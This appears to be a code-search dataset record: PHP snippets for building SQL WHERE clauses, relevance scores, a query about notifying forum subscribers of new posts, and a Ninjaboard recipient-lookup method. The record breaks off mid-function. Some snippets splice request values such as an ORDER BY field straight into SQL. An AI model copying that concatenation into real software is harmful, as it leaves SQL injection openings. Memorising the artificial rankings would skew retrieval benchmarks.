\" . $languageField . \" = \" . intval( $languageId ) . \" \";\n break;\n default:\n $andWhere = null;\n break;\n }\n\n // RETURN AND WHERE statement\n return $andWhere;\n }", "private function buildFindQuery(?string $filter = null): string\n {\n // means product_name and not product_id\n $sql = 'SELECT o, i, p FROM App\\Entity\\Order o LEFT JOIN o.inventory i LEFT JOIN i.product p';\n\n if (isset($filter)) {\n $sql = $sql . ' WHERE i.sku = :filter OR i.productId = :filter';\n }\n\n return $sql;\n }", "function BuildBasicSearchSql(&$Where, &$Fld, $Keyword) {\n\t\tif ($Keyword == EW_NULL_VALUE) {\n\t\t\t$sWrk = $Fld->FldExpression . \" IS NULL\";\n\t\t} elseif ($Keyword == EW_NOT_NULL_VALUE) {\n\t\t\t$sWrk = $Fld->FldExpression . \" IS NOT NULL\";\n\t\t} else {\n\t\t\t$sFldExpression = ($Fld->FldVirtualExpression <> $Fld->FldExpression) ? $Fld->FldVirtualExpression : $Fld->FldBasicSearchExpression;\n\t\t\t$sWrk = $sFldExpression . ew_Like(ew_QuotedValue(\"%\" . $Keyword . \"%\", EW_DATATYPE_STRING));\n\t\t}\n\t\tif ($Where <> \"\") $Where .= \" OR \";\n\t\t$Where .= $sWrk;\n\t}", "private function _buildQuery($filters = array())\n\t{\n\t\t// var to hold conditions\n\t\t$where = array();\n\t\t$sql = '';\n\n\t\t// scope\n\t\tif (isset($filters['scope']))\n\t\t{\n\t\t\t$where[] = \"scope=\" . $this->_db->quote($filters['scope']);\n\t\t}\n\n\t\t// scope_id\n\t\tif (isset($filters['scope_id']))\n\t\t{\n\t\t\t$where[] = \"scope_id=\" . $this->_db->quote($filters['scope_id']);\n\t\t}\n\n\t\t// calendar_id\n\t\tif (isset($filters['calendar_id']))\n\t\t{\n\t\t\tif ($filters['calendar_id'] == '0')\n\t\t\t{\n\t\t\t\t$where[] = \"(calendar_id IS NULL OR calendar_id=0)\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$where[] = \"calendar_id=\" . $this->_db->quote($filters['calendar_id']);\n\t\t\t}\n\t\t}\n\n\t\t// published\n\t\tif (isset($filters['state']) && is_array($filters['state']))\n\t\t{\n\t\t\t$where[] = \"state IN (\" . implode(',', $filters['state']) . \")\";\n\t\t}\n\n\t\t// publish up/down\n\t\tif (isset($filters['publish_up']) && isset($filters['publish_down']))\n\t\t{\n\t\t\t$q = \"(publish_up >=\" . $this->_db->quote($filters['publish_up']);\n\t\t\t$q .= \" OR (publish_down IS NOT NULL AND publish_down != '0000-00-00 00:00:00' AND publish_down <=\" . $this->_db->quote($filters['publish_down']) . \")\";\n\t\t\t$q .= \" OR (publish_up IS NOT NULL AND publish_up <= \" . $this->_db->quote($filters['publish_up']) . \" AND publish_down >=\" . $this->_db->quote($filters['publish_down']) . \"))\";\n\t\t\t$where[] = $q;\n\t\t}\n\n\t\t// repeating event?\n\t\tif (isset($filters['repeating']))\n\t\t{\n\t\t\t$where[] = \"(repeating_rule IS NOT NULL AND repeating_rule<>'')\";\n\t\t}\n\n\t\t// only non-repeating events?\n\t\tif (isset($filters['non_repeating']))\n\t\t{\n\t\t\t$where[] = \"(repeating_rule IS NULL OR repeating_rule = '')\";\n\t\t}\n\n\t\t// if we have and conditions\n\t\tif (count($where) > 0)\n\t\t{\n\t\t\t$sql .= \" WHERE \" . implode(\" AND \", $where);\n\t\t}\n\n\t\t// specify order?\n\t\tif (isset($filters['orderby']))\n\t\t{\n\t\t\t$sql .= \" ORDER BY \" . $filters['orderby'];\n\t\t}\n\n\t\t// limit and start\n\t\tif (isset($filters['limit']))\n\t\t{\n\t\t\t$start = (isset($filters['start'])) ? $filters['start'] : 0;\n\t\t\t$sql .= \" LIMIT \" . $start . \", \" . $filters['limit'];\n\t\t}\n\n\t\treturn $sql;\n\t}", "private function _where($whereData) \n\t{\n\t\t// record the where data inside the object statement data for further use.\n\t\t$this->_stmtData = $whereData;\n\t\t\n\t\t// Fetch the field names\n\t\t$fields = array_keys ( $whereData );\n\t\t\n\t\t// initiating the where clause\n\t\t$where_clause = ' WHERE ';\n\t\t\n\t\t// setting up a counter\n\t\t$count = 1;\n\t\t\n\t\tforeach ( $fields as $field ) {\n\t\t\t$where_clause .= $field . \"=:\" . $field;\n\t\t\t\n\t\t\t// For all iterations besides the last one add an AND operator\n\t\t\tif ($count < count ( $fields )) {\n\t\t\t\t$count ++;\n\t\t\t\t$where_clause .= ' AND ';\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->_query .= $where_clause;\n\t}", "function to_str(){\n //\n $op1 = $this->operand1->to_str();\n $op2 = $this->operand2->to_str();\n \n //return a valid where clause\n return \"$op1 $this->operator $op2\";\n }", "function _add_where_clause($where_clauses, $join)\n {\n foreach ($where_clauses as $clause) {\n // $clause => array(\n // 'column' => 'ID',\n // 'value' =>\t1210,\n // 'compare' => '='\n // )\n // Determine where what the where clause is comparing\n switch ($clause['column']) {\n case 'author':\n case 'author_id':\n $this->object->_query_args['author'] = $clause['value'];\n break;\n case 'author_name':\n $this->object->_query_args['author_name'] = $clause['value'];\n break;\n case 'cat':\n case 'cat_id':\n case 'category_id':\n switch ($clause['compare']) {\n case '=':\n case 'BETWEEN':\n case 'IN':\n if (!isset($this->object->_query_args['category__in'])) {\n $this->object->_query_args['category__in'] = array();\n }\n $this->object->_query_args['category__in'][] = $clause['value'];\n break;\n case '!=':\n case 'NOT BETWEEN':\n case 'NOT IN':\n if (!isset($this->object->_query_args['category__not_in'])) {\n $this->object->_query_args['category__not_in'] = array();\n }\n $this->object->_query_args['category__not_in'][] = $clause['value'];\n break;\n }\n break;\n case 'category_name':\n $this->object->_query_args['category_name'] = $clause['value'];\n break;\n case 'post_id':\n case $this->object->get_primary_key_column():\n switch ($clause['compare']) {\n case '=':\n case 'IN':\n case 'BETWEEN':\n if (!isset($this->object->_query_args['post__in'])) {\n $this->object->_query_args['post__in'] = array();\n }\n $this->object->_query_args['post__in'][] = $clause['value'];\n break;\n default:\n if (!isset($this->object->_query_args['post__not_in'])) {\n $this->object->_query_args['post__not_in'] = array();\n }\n $this->object->_query_args['post__not_in'][] = $clause['value'];\n break;\n }\n break;\n case 'pagename':\n case 'postname':\n case 'page_name':\n case 'post_name':\n if ($clause['compare'] == 'LIKE') {\n $this->object->_query_args['page_name__like'] = $clause['value'];\n } elseif ($clause['compare'] == '=') {\n $this->object->_query_args['pagename'] = $clause['value'];\n } elseif ($clause['compare'] == 'IN') {\n $this->object->_query_args['page_name__in'] = $clause['value'];\n }\n break;\n case 'post_title':\n // Post title uses custom WHERE clause\n if ($clause['compare'] == 'LIKE') {\n $this->object->_query_args['post_title__like'] = $clause['value'];\n } else {\n $this->object->_query_args['post_title'] = $clause['value'];\n }\n break;\n default:\n // Must be metadata\n $clause['key'] = $clause['column'];\n unset($clause['column']);\n // Convert values to array, when required\n if (in_array($clause['compare'], array('IN', 'BETWEEN'))) {\n $clause['value'] = explode(',', $clause['value']);\n foreach ($clause['value'] as &$val) {\n if (!is_numeric($val)) {\n // In the _parse_where_clause() method, we\n // quote the strings and add slashes\n $val = stripslashes($val);\n $val = substr($val, 1, strlen($val) - 2);\n }\n }\n }\n if (!isset($this->object->_query_args['meta_query'])) {\n $this->object->_query_args['meta_query'] = array();\n }\n $this->object->_query_args['meta_query'][] = $clause;\n break;\n }\n }\n // If any where clauses have been added, specify how the conditions\n // will be conbined/joined\n if (isset($this->object->_query_args['meta_query'])) {\n $this->object->_query_args['meta_query']['relation'] = $join;\n }\n }", "function _buildContentWhere()\n\t{\n\t\t$user = & JFactory::getUser() ;\t\t\n\t\t$hidePastEvents = EventBookingHelper::getConfigValue('hide_past_events');\n\t\t$where = array() ;\n\t\t$categoryId = JRequest::getInt('category_id', 0) ;\n\t\t$where[] = 'a.published = 1';\n\t\tif (version_compare(JVERSION, '1.6.0', 'ge')) {\n\t\t $where[] = ' a.access IN ('.implode(',', $user->getAuthorisedViewLevels()).')' ;\n\t\t} else {\n\t\t $gid\t\t= $user->get('aid', 0);\n\t\t $where[] = ' a.access <= '.(int)$gid ; \n\t\t}\t\t\n\t\tif ($categoryId) {\n\t\t\t//$where[] = ' a.category_id = '.$categoryId ;\t\t\t\t\t\t\n\t\t\t$where[] = ' a.id IN (SELECT event_id FROM #__eb_event_categories WHERE category_id='.$categoryId.')' ;\n\t\t}\n\t\tif ($hidePastEvents) {\n\t\t\t$where[] = ' DATE(a.event_date) >= CURDATE() ';\n\t\t}\n\t\t$where \t\t= ( count( $where ) ? ' WHERE '. implode( ' AND ', $where ) : '' );\t\t\n\t\treturn $where;\n\t}", "function AndWhereClause() {\n\t\t$this->clauses = func_get_args();\n\t}", "private function sql_whereAnd_fromTS()\n {\n // Get table and field\n list( $table, $field ) = explode( '.', $this->curr_tableField );\n\n // Get TS value\n $andWhere = $this->conf_view[ 'filter.' ][ $table . '.' ][ $field . '.' ][ 'sql.' ][ 'andWhere' ];\n\n if ( !empty( $andWhere ) )\n {\n $andWhere = \" AND \" . $andWhere;\n }\n\n // RETURN AND WHERE statement\n return $andWhere;\n }" ]
[ "0.80927", "0.808879", "0.77797925", "0.7712256", "0.75902456", "0.7478968", "0.73343515", "0.7294319", "0.7292379", "0.72118455", "0.72053844", "0.7171377", "0.715194", "0.7014879", "0.699544", "0.69864357", "0.69696456", "0.6960971", "0.6943169", "0.6933212", "0.6899723", "0.6879575", "0.68742734", "0.6874209", "0.6851676", "0.6843219", "0.68372047", "0.6819086", "0.6793508", "0.67464685", "0.67371005", "0.67035645", "0.6685228", "0.6679477", "0.6670961", "0.66345954", "0.663082", "0.6611295", "0.66054136", "0.65601116", "0.6524162", "0.652162", "0.6519739", "0.65151703", "0.6511438", "0.65054554", "0.6486259", "0.64849836", "0.6470426", "0.6468237", "0.6447829", "0.64440644", "0.64339274", "0.6415057", "0.64102304", "0.6398099", "0.6388481", "0.6388258", "0.638539", "0.6381312", "0.63756806", "0.6326752", "0.6310592", "0.6307005", "0.627726", "0.62699246", "0.62612975", "0.62598854", "0.6259108", "0.62527955", "0.62490565", "0.6247807", "0.6234048", "0.6224257", "0.6224175", "0.6213432", "0.6210835", "0.62028444", "0.62001956", "0.6199555", "0.6195557", "0.6181199", "0.61785114", "0.61765355", "0.6164967", "0.6164392", "0.6162715", "0.6160016", "0.6155162", "0.6141408", "0.6141404", "0.6140418", "0.61320823", "0.613153", "0.6130285", "0.6125883", "0.612502", "0.6121511", "0.61203897", "0.6118935" ]
0.6866433
24
Get a list over people to be notified about a topic with a new post
public function getRecipients() { $me = $this->getService('com://admin/ninjaboard.model.people')->getMe(); $table = $this->getTable(); $params = $this->getService('com://admin/ninjaboard.model.settings')->getParams(); $topic = $this->getService('com://site/ninjaboard.model.topics')->id($this->_state->topic)->getItem(); $forum = $this->getService('com://site/ninjaboard.model.forums')->id($topic->forum_id)->getItem(); $ids = array(); if($params->email_notification_settings->auto_notify_admins == 'yes') { $query = $this->getService('koowa:database.adapter.mysqli')->getQuery() ->select('id') ->from('users') ->where('sendEmail', '=', 1) ->where('id', '!=', $me->id); foreach($table->getDatabase()->select($query, KDatabase::FETCH_FIELD_LIST) as $id) { $ids[$id] = $id; } } //Recipients subscribed to this topic if($this->_state->topic) { $query = $this->getService('koowa:database.adapter.mysqli')->getQuery() ->select('created_by') ->where('subscription_type', '=', $table->getTypeIdFromName('topic')) ->where('subscription_type_id', '=', $this->_state->topic) ->where('created_by', '!=', $me->id) ->from('ninjaboard_subscriptions'); foreach($table->getDatabase()->select($query, KDatabase::FETCH_FIELD_LIST) as $id) { $ids[$id] = $id; } } //Recipients subscribed to this forum and/or parent forum(s) if($forum->id) { $forums = array_filter(explode('/', $forum->path)); $forums[] = $forum->id; $query = $this->getService('koowa:database.adapter.mysqli')->getQuery() ->select('created_by') ->where('subscription_type', '=', $table->getTypeIdFromName('forum')) ->where('subscription_type_id', 'in', $forums) ->where('created_by', '!=', $me->id) ->from('ninjaboard_subscriptions'); foreach($table->getDatabase()->select($query, KDatabase::FETCH_FIELD_LIST) as $id) { $ids[$id] = $id; } } //Recipients subscribed to me $query = $this->getService('koowa:database.adapter.mysqli')->getQuery() ->select('created_by') ->where('subscription_type', '=', $table->getTypeIdFromName('person')) ->where('subscription_type_id', 'in', $me->id) ->where('created_by', '!=', $me->id) ->from('ninjaboard_subscriptions'); foreach($table->getDatabase()->select($query, KDatabase::FETCH_FIELD_LIST) as $id) { // we most have access to this forum to get notifications $person = $this->getService('com://admin/ninjaboard.model.people')->id($id)->getItem(); // check we have permission for this forum $query = $this->getService('koowa:database.adapter.mysqli')->getQuery() ->select('tbl.level AS level') ->from('ninjaboard_assets AS tbl') ->order('tbl.level', 'DESC') ->limit(1) ->where('tbl.name', '=', 'com_ninjaboard.forum.'.$forum->id.'.'.$person->ninjaboard_usergroup_id.'.forum'); $result = $table->getDatabase()->select($query, KDatabase::FETCH_FIELD); $result = isset($result) ? $result : $person->forum_permissions; if (!$result) continue; $ids[$id] = $id; } if(!$ids) return array(); $query = $this->getService('koowa:database.adapter.mysqli')->getQuery() ->select(array('name', 'email')) ->from('users') ->where('id', 'in', $ids); return $table->getDatabase()->select($query, KDatabase::FETCH_OBJECT_LIST); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function get_mentioned_notifications($uid) {\n try {\n $db = \\Db::dbc();\n \t$sql=\"SELECT IDTWEET, T.IDUSER, DATEPUB, LUMENT FROM TWEET T INNER JOIN MENTIONNER M USING(IDTWEET) WHERE M.IDUSER=:uid\";\n $stmt=$db->prepare($sql);\n $stmt->execute(array(':uid'=>$uid));\n\n \t$results = $stmt->fetchAll();\n if($results == false) {\n $mentNoti=(array) NULL;\n } else {\n foreach($results as $result) {\n $mentNoti[]=(object) array(\n \t\t\"type\"=>\"mentioned\",\n \"post\"=>\\Model\\Post\\get($result[0]),\n \"mentioned_by\"=>\\Model\\User\\get($result[1]),\n \"date\"=>new \\DateTime($result[2]),\n \"reading_date\"=>$result[3] == NULL ? NULL : new \\DateTime($result[3])\n );\n }\n }\n\n\t\t$db = NULL;\n return $mentNoti;\n } catch (\\PDOException $e) {\n \t$db = NULL;\n\t\techo $e->getMessage();\n\t}\n}", "function getPublishedPostsByTopic($topic_id) {\n\tglobal $conn;\n\t$sql = \"SELECT * FROM posts ps \n\t\t\tWHERE published=true AND ps.id IN \n\t\t\t(SELECT pt.post_id FROM post_topic_place pt \n\t\t\t\tWHERE pt.topic_id=$topic_id GROUP BY pt.post_id \n\t\t\t\tHAVING COUNT(1) = 1)\";\n\t$result = mysqli_query($conn, $sql);\n\t// fetch all posts as an associative array called $posts\n\t$posts = mysqli_fetch_all($result, MYSQLI_ASSOC);\n\n\t$final_posts = array();\n\tforeach ($posts as $post) {\n\t\t$post['topic'] = getPostTopic($post['id']); \n\t\tarray_push($final_posts, $post);\n\t}\n\treturn $final_posts;\n}", "public function getTopics()\n {\n return [\n 'topicName' => 1\n ];\n }", "public function users_subscribed_to_topic_of_the_day()\n\t{\n\t\treturn $this->where('send_reminders', true)->find_all_no_limit();\n\t}", "public function index()\n {\n return PostsTopics::get();\n }", "function getPublishedPosts() {\n\tglobal $conn;\n\t$sql = \"SELECT * FROM posts WHERE published=true order by created_at DESC\";\n\t$result = mysqli_query($conn, $sql);\n\n\t// fetch all posts as an associative array called $posts\n\t$posts = mysqli_fetch_all($result, MYSQLI_ASSOC);\n\t$final_posts = array();\n\tforeach ($posts as $post) {\n\t\t$post['topic'] = getPostTopic($post['id']); \n\t\tarray_push($final_posts, $post);\n\t}\n\treturn $final_posts;\n}", "public function send_subscriptions(){\r\n //send email to all those who have subscribed to posts from this author\r\n\r\n }", "public function getPublishedPosts() {\r\n $sql = 'SELECT p.ID as ID, post_title, post_subtitle,\r\n username, name, word_count, b.status as bookmark_status,\r\n UNIX_TIMESTAMP(post_date) as post_date \r\n FROM posts p JOIN users u ON (post_author=u.id) \r\n LEFT JOIN bookmarks b ON (b.post_id=p.ID AND b.user_id=?)\r\n WHERE post_status = \"publish\" \r\n ORDER BY post_date DESC LIMIT 0, 10';\r\n $sth = $this->db->prepare($sql);\r\n $sth->execute(array($GLOBALS['user']['id']));\r\n\r\n $rows = array();\r\n while($row = $sth->fetch()) {\r\n $row['post_date_supertag'] = date('j<b\\r>M', $row['post_date']);\r\n $row['reading_time'] = ceil($row['word_count'] / WORDS_PER_MINUTE);\r\n\r\n $rows[] = $row;\r\n }\r\n\r\n return $rows;\r\n }", "public function list_($topic = null)\n {\n //getAuthentication()->requireAuthentication();\n $webhooks = $this->webhook->getAll($topic);\n if($webhooks)\n return $this->success(\"Successfully retrieved webhooks\", $webhooks);\n else\n return $this->error(\"Error getting webhooks\", false);\n }", "function getPublishedPosts() {\r\n\t// usar objeto global $ conn na função\r\n\tglobal $conn;\r\n\t$sql = \"SELECT * FROM posts WHERE published=true ORDER BY id DESC LIMIT 2, 9\";\r\n\t$result = mysqli_query($conn, $sql);\r\n\t// buscar todos os posts como um array associativo chamado $ posts\r\n\t$posts = mysqli_fetch_all($result, MYSQLI_ASSOC);\r\n\r\n\t$final_posts = array();\r\n\tforeach ($posts as $post) {\r\n\t\t$post['topic'] = getPostTopic($post['id']); \r\n\t\tarray_push($final_posts, $post);\r\n\t}\r\n\treturn $final_posts;\r\n}", "public function findAllPublishedPosts()\n {\n $posts = [];\n $query = \"\"\n . \"SELECT post.*, user.name as author \"\n . \"FROM post \"\n . \"LEFT JOIN user ON post.id_user = user.id \"\n . \"WHERE status > 0 \"\n . \"ORDER BY post.date_created DESC\";\n $result = $this->db->query($query);\n if ($result) {\n // Cycle through results\n while ($row = $result->fetch_assoc()) {\n $posts[] = [\n 'id' => $row['id'],\n 'title' => $row['title'],\n 'content' => $row['content'],\n 'author' => $row['author'],\n 'id_user' => $row['id_user'],\n 'date_created' => $row['date_created'],\n 'tags' => '' //$row['firstname']\n ];\n }\n // Free result set\n $result->close();\n } else {\n echo($this->db->error);\n }\n return $posts;\n }", "public function getTopics()\n {\n $headers = $this->getDefaultHeaders();\n\n // Accecpt header is needed to fetch the topics\n $headers[\"Accept\"] = \"application/vnd.github.mercy-preview+json\";\n\n $response = $this->client->request(\n 'GET',\n $this->api . $this->repo . \"/topics\",\n array(\n \"headers\" => $headers\n )\n );\n\n if ($response->getStatusCode() == 200) {\n $body = $response->getBody();\n $body = json_decode($body, true);\n return $body[\"names\"];\n }\n\n return array();\n }", "public function findByTopic (Request $request)\n\t{\n\t\t$topic_id = (int) $request->get('topicId');\n\t\t$offset = (int) $request->get('offset');\n\t\t$page = (int) $request->get('page');\n\n\t\tif (!$topic_id)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t$limit = 10;\n\n\t\tif ($page)\n\t\t{\n\t\t\t$limit = $page * $limit;\n\t\t}\n\n\t\t$topics = array();\n\n\t\t$this->app['cache']->collection = $this->collection;\n\n\t\t$cache_key = 'topic-posts-' . $topic_id . '.' . $offset . $limit;\n\n\t\t$posts = $this->app['cache']->get($cache_key, function () use ($topic_id, $offset, $limit) {\n\t\t\t$data = array(\n\t\t\t\t'data' => $this->app['db']->fetchAll('SELECT p.*, u.username, u.posts as userPosts, g.name as `group` FROM posts p JOIN users u ON p.author=u.id JOIN groups g ON g.id=u.perm_group WHERE p.topic=? ORDER BY added ASC LIMIT ' . $offset . ', ' . $limit, array(\n\t\t\t\t\t$topic_id\n\t\t\t\t))\n\t\t\t);\n\n\t\t\treturn $data;\n\t\t});\n\n\t\tforeach ($posts['data'] as $key => $post)\n\t\t{\n\t\t\t$posts['data'][$key]['attachments'] = array();\n\t\t\t$posts['data'][$key]['likes'] = array();\n\n\t\t\t$cache_key = 'post-' . $post['id'] . '-likes';\n\n\t\t\t$likes = $this->app['cache']->get($cache_key, function () use ($posts, $key, $post) {\n\t\t\t\t$data = array(\n\t\t\t\t\t'data' => $this->app['db']->fetchAll('SELECT username FROM likes WHERE postId=? ORDER BY added DESC', array(\n\t\t\t\t\t\t$post['id']\n\t\t\t\t\t))\n\t\t\t\t);\n\n\t\t\t\treturn $data;\n\t\t\t});\n\n\t\t\tforeach ($likes['data'] as $like)\n\t\t\t{\n\t\t\t\t$posts['data'][$key]['likes'][] = $like['username'];\n\t\t\t}\n\n\t\t\t// Get all of this posts attachments\n\t\t\t$cache_key = 'post-' . $post['id'] . '-attachments';\n\n\t\t\t$attachments = $this->app['cache']->get($cache_key, function () use ($key, $post) {\n\t\t\t\t$data = array(\n\t\t\t\t\t'data' => $this->app['db']->fetchAll('SELECT name, file_name, size, mime, added FROM attachments WHERE post_id=? ORDER BY added ASC', array(\n\t\t\t\t\t\t$post['id']\n\t\t\t\t\t))\n\t\t\t\t);\n\n\t\t\t\treturn $data;\n\t\t\t});\n\n\t\t\tforeach ($attachments['data'] as $k => $attachment)\n\t\t\t{\n\t\t\t\t$attachments['data'][$k]['extension'] = pathinfo($attachment['name'], PATHINFO_EXTENSION);\n\t\t\t}\n\n\t\t\tif ($attachments['data'])\n\t\t\t{\n\t\t\t\t$posts['data'][$key]['attachments'] = $attachments['data'];\n\t\t\t}\n\t\t\t\n\t\t}\n\n\t\treturn json_encode($posts);\n\t}", "public function topics()\n\t{\n\t\treturn $this->hasMany('App\\MeetingTopic');\n\t}", "function td_nm_get_notifications( $filters = array() ) {\n\t$defaults = array(\n\t\t'posts_per_page' => - 1,\n\t\t'post_type' => 'td_nm_notification',\n\t\t'orderby' => 'date',\n\t\t'order' => 'ASC',\n\t);\n\n\tif ( ! function_exists( 'is_plugin_active' ) ) {\n\t\tinclude_once( ABSPATH . 'wp-admin/includes/plugin.php' );\n\t}\n\n\t$filters = array_merge( $defaults, $filters );\n\t$posts = get_posts( $filters );\n\t$notifications = array();\n\n\tforeach ( $posts as $post ) {\n\n\t\t$trigger = td_nm_get_trigger( $post->ID );\n\t\t$trigger_instance = TD_NM_Trigger_Factory::get_instance( $trigger );\n\n\t\tif ( $applicable = $trigger_instance->is_notification_applicable() ) {\n\t\t\t$post->trigger = $trigger;\n\t\t\t$post->actions = td_nm_get_actions( $post->ID );\n\t\t\t$notifications[] = $post;\n\t\t}\n\t}\n\n\treturn $notifications;\n}", "function fetchTopicNotifications($user_id, $topics, $type, $members_only)\n{\n\t$db = database();\n\n\t$topicNotifyData = [];\n\n\t// Find the members with notification on for this topic.\n\t$db->fetchQuery('\n\t\tSELECT\n\t\t\tmem.id_member, mem.email_address, mem.notify_regularity, mem.notify_types, mem.notify_send_body, \n\t\t\tmem.lngfile, mem.warning, mem.id_group, mem.additional_groups, mem.id_post_group, mem.password_salt,\n\t\t\tt.id_member_started,\n\t\t\tb.member_groups, b.name, b.id_profile, b.id_board,\n\t\t\tln.id_topic, ln.sent\n\t\tFROM {db_prefix}log_notify AS ln\n\t\t\tINNER JOIN {db_prefix}members AS mem ON (mem.id_member = ln.id_member)\n\t\t\tINNER JOIN {db_prefix}topics AS t ON (t.id_topic = ln.id_topic)\n\t\t\tINNER JOIN {db_prefix}boards AS b ON (b.id_board = t.id_board)\n\t\tWHERE ln.id_topic IN ({array_int:topic_list})\n\t\t\tAND mem.notify_types < {int:notify_types}\n\t\t\tAND mem.notify_regularity < {int:notify_regularity}\n\t\t\tAND mem.is_activated = {int:is_activated}\n\t\t\tAND ln.id_member != {int:current_member}' .\n\t\t(empty($members_only) ? '' : ' AND ln.id_member IN ({array_int:members_only})') . '\n\t\tORDER BY mem.lngfile',\n\t\t[\n\t\t\t'current_member' => $user_id,\n\t\t\t'topic_list' => $topics,\n\t\t\t'notify_types' => $type === 'reply' ? 4 : 3,\n\t\t\t'notify_regularity' => 2,\n\t\t\t'is_activated' => 1,\n\t\t\t'members_only' => is_array($members_only) ? $members_only : [$members_only],\n\t\t]\n\t)->fetch_callback(\n\t\tfunction ($row) use (&$topicNotifyData) {\n\t\t\t// The topic subscription information for the member\n\t\t\t$clean = [\n\t\t\t\t'id_member' => (int) $row['id_member'],\n\t\t\t\t'email_address' => $row['email_address'],\n\t\t\t\t'notify_regularity' => (int) $row['notify_regularity'],\n\t\t\t\t'notify_types' => (int) $row['notify_types'],\n\t\t\t\t'notify_send_body' => (int) $row['notify_send_body'],\n\t\t\t\t'lngfile' => $row['lngfile'],\n\t\t\t\t'warning' => $row['warning'],\n\t\t\t\t'id_group' => (int) $row['id_group'],\n\t\t\t\t'additional_groups' => $row['additional_groups'],\n\t\t\t\t'id_post_group' => (int) $row['id_post_group'],\n\t\t\t\t'password_salt' => $row['password_salt'],\n\t\t\t\t'id_member_started' => (int) $row['id_member_started'],\n\t\t\t\t'member_groups' => $row['member_groups'],\n\t\t\t\t'board_name' => $row['name'],\n\t\t\t\t'id_profile_board' => (int) $row['id_profile'],\n\t\t\t\t'id_board' => (int) $row['id_board'],\n\t\t\t\t'id_topic' => (int) $row['id_topic'],\n\t\t\t\t'sent' => (int) $row['sent'],\n\t\t\t];\n\n\t\t\tif (validateNotificationAccess($clean, false))\n\t\t\t{\n\t\t\t\t$topicNotifyData[$clean['id_topic']] = $clean;\n\t\t\t}\n\t\t}\n\t);\n\n\treturn $topicNotifyData;\n}", "function getPublishedPostsOnly() {\n\tglobal $conn;\n\t$sql = \"SELECT * FROM posts WHERE published=true order by created_at DESC LIMIT 3\";\n\t$result = mysqli_query($conn, $sql);\n\n\t// fetch all posts as an associative array called $posts\n\t$posts = mysqli_fetch_all($result, MYSQLI_ASSOC);\n\t$final_posts = array();\n\tforeach ($posts as $post) {\n\t\t$post['topic'] = getPostTopic($post['id']); \n\t\tarray_push($final_posts, $post);\n\t}\n\treturn $final_posts;\n}", "public function getPendingPost();", "public function getPostList($topic, $thread)\n\t{\n\t\tglobal $ilDB;\n\t\t\n\t\t$data_types = array();\n\t\t$data = array();\n\t\t\n\t\t$query ='\tSELECT frm_posts.*, usr_data.lastname FROM frm_posts, usr_data \n\t\t\t\t\tWHERE pos_top_fk = %s\n\t\t\t\t\tAND pos_thr_fk = %s\n\t\t\t\t\tAND pos_usr_id = usr_id';\n\t\t\n\t\tarray_push($data_types, 'integer', 'integer');\n\t\tarray_push($data, $topic, $thread);\n\t\t\n\t\tif($this->orderField != '')\n\t\t{\n\t\t\t$query .= ' ORDER BY '.$this->orderField .' ';\n\t\t}\n\t\t\n\t\t$result = $ilDB->queryf($query, $data_types, $data);\n\t\t\n\t\treturn $result;\n\t}", "public static function GetAllByTopicId($topic_id){\n global $db;\n $allPosts = $db->prepare('SELECT * FROM posts WHERE topic_id = :topic_id')->bindValue(':topic_id', $topic_id, PDO::PARAM_INT)->execute();\n $postList = array();\n while ($dataPost = $allPosts->fetch()){\n $newPost = new Post();\n $newPost->fill($dataPost);\n $postList[] = $newPost;\n }\n return $postList;\n }", "function forum_rss_feed_discussions($forum, $newsince=0) {\n\n global $CFG;\n\n $items = array();\n\n if ($newsince) {\n $newsince = \" AND p.modified > '$newsince'\";\n } else {\n $newsince = \"\";\n }\n\n if ($recs = get_records_sql (\"SELECT d.id AS discussionid, \n d.name AS discussionname, \n u.id AS userid, \n u.firstname AS userfirstname,\n u.lastname AS userlastname,\n p.message AS postmessage,\n p.created AS postcreated,\n p.format AS postformat\n FROM {$CFG->prefix}forum_discussions d,\n {$CFG->prefix}forum_posts p,\n {$CFG->prefix}user u\n WHERE d.forum = '$forum->id' AND\n p.discussion = d.id AND\n p.parent = 0 AND\n u.id = p.userid $newsince\n ORDER BY p.created desc\", 0, $forum->rssarticles)) {\n\n $item = NULL;\n $user = NULL;\n\n $formatoptions = new object;\n $formatoptions->trusttext = true;\n\n foreach ($recs as $rec) {\n unset($item);\n unset($user);\n $item->title = format_string($rec->discussionname);\n $user->firstname = $rec->userfirstname;\n $user->lastname = $rec->userlastname;\n $item->author = fullname($user);\n $item->pubdate = $rec->postcreated;\n $item->link = $CFG->wwwroot.\"/mod/forum/discuss.php?d=\".$rec->discussionid;\n $item->description = format_text($rec->postmessage,$rec->postformat,$formatoptions,$forum->course);\n $items[] = $item;\n }\n }\n return $items;\n }", "public function posts()\n {\n return $this->hasMany('Efed\\Models\\ForumPost', 'topic_id', 'id');\n }", "function apoc_get_group_topic_info() {\n\n\tglobal $bp;\n\t$slug = $bp->action_variables[1];\n\t\n\t\n\tglobal $wpdb;\n\t$topic = $wpdb->get_row( \n\t\t$wpdb->prepare( \n\t\t\t\"SELECT post_title AS title, post_name AS url\n\t\t\tFROM $wpdb->posts \n\t\t\tWHERE post_name = %s\",\n\t\t\t$slug )\n\t\t);\n\t\t\n\treturn $topic;\n}", "function apoc_get_group_reply_info() {\n\n\tglobal $bp;\n\t$slug = $bp->action_variables[1];\n\t\n\tglobal $wpdb;\n\t$topic = $wpdb->get_row( \n\t\t$wpdb->prepare( \n\t\t\t\"SELECT post_title AS title, post_name AS url\n\t\t\tFROM $wpdb->posts \n\t\t\tWHERE ID = ( \n\t\t\t\tSELECT post_parent\n\t\t\t\tFROM $wpdb->posts\n\t\t\t\tWHERE post_name = %s )\",\n\t\t\t$slug )\n\t\t);\n\t\t\n\treturn( $topic );\n}", "public function getAgendaTopicTypeListAction(){\n /** @var Object_Agenda $agenda */\n $this->getDeviceSession()->getUserId();\n $agenda = new Object_Agenda();\n $this->_helper->json($agenda->getClass()->getFieldDefinition('Topic'));\n }", "public function index()\n {\n return Topic::all();\n }", "public function index()\n {\n return Topic::all();\n }", "public function index()\n {\n return Topic::all();\n }", "public function posts(){\n\t\treturn $this->belongsToMany('Post', 'topics_posts');\n\t}", "public function getAllTopic()\n {\n return $this->dal->getTopic(null,false);\n }", "protected function getNewsFromFriends()\n {\n $friends = auth()->user()->approvedFriends;\n $friends->count() > 5 \n ? $randomFriends = 5\n : $randomFriends = $friends->count(); \n $friends = $friends->random($randomFriends);\n\n $newsfeedPosts = collect([]);\n foreach ($friends as 